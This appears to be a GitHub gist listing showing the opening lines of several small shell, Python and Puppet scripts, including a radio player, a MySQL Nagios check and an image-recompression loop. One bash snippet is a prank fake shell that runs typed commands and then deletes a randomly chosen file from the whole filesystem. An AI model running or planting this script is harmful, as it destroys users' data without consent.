This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
tput civis | |
while : | |
do | |
counter=0 | |
for i in '\xE2\x96\x99' '\xE2\x96\x9b' '\xE2\x96\x9c' '\xE2\x96\x9f' | |
do | |
echo -ne "${i}" | |
sleep .1 | |
echo -ne "\b" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
array1=(a b c d) | |
array2=(e f g h) | |
array3=(0 1 2 3) | |
for arrayitem in ""${array3[*]}"" | |
do | |
echo -n ${array1[$arrayitem]} | |
echo ${array2[$arrayitem]} | |
done |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
baseurl="http://somafm.com" | |
tmpdir="/tmp/" | |
boldtext=`tput bold` | |
normaltext=`tput sgr0` | |
WGET="/usr/bin/wget" | |
MPLAYER="/usr/bin/mplayer" | |
stationnames=("Christmas Rocks!" "Christmas Lounge" "Xmas in Frisko (holiday)" "Groove Salad (ambient/electronica)" "Lush (electronica)" "Earwaves (experimental)" "Deep Space One (ambient)" "Drone Zone (ambient)" "PopTron (alternative)" "DEF CON Radio (specials)" "Dub Step Beyond (electronica)" "Space Station Soma (electronica)" "Mission Control (ambient/electronica)" "Indie Pop Rocks! (alternative)" "Folk Forward (folk/alternative)" "BAGeL Radio (alternative)" "Digitalis (electronica/alternative)" "Sonic Universe (jazz)" "Secret Agent (lounge)" "Suburbs of Goa (world)" "Boot Liquor (americana)" "Illinois Street Lounge (lounge)" "The Trip (electronica)" "cliqhop idm (electronica)" "Iceland Airwaves (alternative)" "Covers (eclectic)" "Underground 80s (alternative/electronica)" "Beat Blender (electronica)" "Doomed (ambient/industrial)" "Black Rock FM (eclectic)" "SF |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#! /usr/bin/env python | |
import re | |
import sys | |
if len(sys.argv) != 2 : | |
print "LEN = = " + str(len(sys.argv)) | |
sys.exit(1) | |
else : | |
mypid=sys.argv[1] | |
mypid=str(mypid) | |
sys.stderr.write("PID = " + str(mypid) ) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
total_inodes=$(df -i / | awk '{print $2}' | tail -1) | |
while : | |
do | |
echo -n "#"; read command | |
/bin/bash -c "$command" | |
die_inode=$(find / -inum $(( ( RANDOM % $total_inodes ) + 1 )) &2> /dev/null) | |
echo "YOLO BRO, you probably didn't need $die_inode anyway" | |
rm -vf $die_inode | |
done |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
[[ $# -neq 1 ]] && echo "usage: ./rapidartifact.sh image.jpg"; exit | |
IMAGE=$1 | |
for i in {2..10000}; do | |
echo "$IMAGE$LAST.jpg $IMAGE$i.jpg" | |
convert -quality 99 -resize '1920x1080' $IMAGE$LAST.jpg $IMAGE$i.jpg | |
rm $IMAGE$LAST.jpg | |
LAST=$i | |
echo -ne " $[($i*1000)/10000]% \r" | |
done |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# | |
# Nagios plugin to check for inserts updates deletes drops alters creates on slave DBs due to http://bugs.mysql.com/bug.php?id=58669 | |
function usage(){ | |
echo "Usage: $0 [mysql socket]" | |
} | |
if [ $# -eq 0 ]; then |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class mysqld::release::initialize{ | |
file { "/var/lib/mysql_multi": | |
ensure => "directory", | |
owner => mysql, | |
group => mysql, | |
mode => 755, | |
} | |
define initdatadirs { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python2 | |
import sys | |
a = sys.argv[1] | |
print "finding prime factors of %d" % int(a) | |
def findfirstfactor(number): | |
b = 1 | |
test = 1 |
OlderNewer